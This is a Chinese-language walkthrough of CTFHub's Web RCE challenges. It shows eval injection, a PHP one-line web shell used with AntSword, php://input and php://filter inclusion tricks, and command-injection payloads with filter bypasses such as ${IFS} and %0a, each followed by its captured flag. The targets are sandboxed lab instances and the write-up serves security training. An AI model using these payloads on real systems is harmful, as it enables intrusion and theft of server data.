这次做的是CTFHub
-> Web
-> RCE
1.eval执行
开启环境
使用hackbar
插件修改url,构造?cmd=system("ls");
,查看根目录
http://challenge-117bdf23cdac9035.sandbox.ctfhub.com:10800/?cmd=system("ls");
输入?cmd=system("cat /flag_9777");
查看flag_9777
文件得到falg
ctfhub{b7c3f36ea35d84d1dec12405}
2.文件包含
开启环境
这里有一段代码,看到最下边一行提示有shell
,点击查看
<?php eval($_REQUEST['ctfhub']);?>
这是一个一句话木马,那我们可以尝试用蚁剑连接
在地址栏输入/?file=shell.txt
,打开蚁剑,添加数据,输入地址和密码
http://challenge-9d8fc2693a0b171f.sandbox.ctfhub.com:10800/?file=shell.txt
连接成功,点击打开添加的数据,开始寻找flag
在根目录下成功找到flag
ctfhub{f85af8d445a9985d1c371fc6}
3.php://input
开启环境
根据题目可以知道这题要用php://input
伪协议
这里用Burp
抓包,发送到Repeater
模块
我们这里要改一下数据包,在GET /
后拼接?file=php://input
,然后想查看一下根目录,在末尾输<?php system("ls /");?>
,输入好后点击send
,成功查看到根目录
然后要查看flag_7453
,在末尾输<?php system("cat /flag_7453");?>
,send
得flag
ctfhub{a20ab52a15ff1b86c654e63b}
4.读取源代码
开启环境
可以看到这关直接给出了flag的位置,用之前的php://input伪协议burp改包发现不管用了,应该是allow_url_include为off
,这个值为on
才可以用。
那么我们可以尝试用一下php://filter
,来实现对文件的访问
依旧是Burp
抓包,扔到Repeatet
模块
构造payload
,读取/flag
?file=php://filter/resource=/flag
ctfhub{f5e8adda27de145258321b2f}
5.远程包含
开启环境
这关和php://input
那关一样,先用Burp
抓包,发送到repeater
模块
然后构造payload
,读取flag
ctfhub{1a13831839c871dbfb8cfd20}
6.命令注入-无过滤
开启环境
使用了ping
命令,我们输入127.0.0.1
,进行ping
由于没有过滤,直接进行命令的拼接,输入127.0.0.1 | ls
127.0.0.1 | ls
查看文件内容,输入 127.0.0.1 | cat 118402876104.php
127.0.0.1 | cat 118402876104.php
这里结果没有显示,我们需要右击查看页面源码,得到flag
ctfhub{f23a1df3cb94c56a8b0e6b47}
7.命令注入-过滤cat
启动环境
延续上把的思路,输入127.0.0.1 | ls
127.0.0.1 | ls
接下来查看flag_63643248413664.php
即可得到flag
,这关过滤cat
,所以我们选择用head
尝试一下
127.0.0.1 | head flag_63643248413664.php
查看源码,得到flag
ctfhub{6a6d3b431709cf59540519a8}
8.命令注入-过滤空格
开启环境
这关过滤空格,所以我们不能使用空格,需要用的时候可以用特殊字符来代替
例如:使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}
来代替空格
还是先查看目录下的文件
127.0.0.1|ls
接着查看flag_1382120916005.php
127.0.0.1|cat<flag_1382120916005.php
查看源码,得到flag
ctfhub{6fb3f31fc406c6962477a71d}
9.命令注入-过滤目录分隔符
开启环境
这一关是过滤了目录分隔符/
,那就不能直接查看文件夹里的文件了,这里利用分号使两个命令同时进行
查看目录文件
127.0.0.1|ls
查看flag_is_here
中的文件
127.0.0.1;cd flag_is_here;ls
查看flag_280218639196.php
,查看源码,获得flag
127.0.0.1;cd flag_is_here;cat flag_280218639196.php
ctfhub{b34b9b21858896205ba41f10}
10.命令注入-过滤运算符
开启环境
本关运算符,就是过滤掉了|
&
查看目录文件
127.0.0.1;ls
查看flag_2450155772081.php
,查看源码,获得flag
127.0.0.1;cat flag_2450155772081.php
ctfhub{50d83f7036b4d320b6f34b76}
12.命令注入-综合练习
开启环境
本关过滤了|
&
;
/
cat
flag
ctfhub
空格
| & ; / cat flag ctfhub 空格
; 用 %0a 代替
cat 用 head 代替
空格 用 ${IFS} 替代
查看目录下文件
?ip=127.0.0.1%0als
查看flag_is_here
文件夹
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
查看flag_120783017711734.php
,查看源码,获得flag
?ip=127.0.0.1%0acd${IFS}f***_is_here%0ahead${IFS}f***_120783017711734.php
ctfhub{eebaec3afd03d21ff8142332}
RCE
完结撒花!!!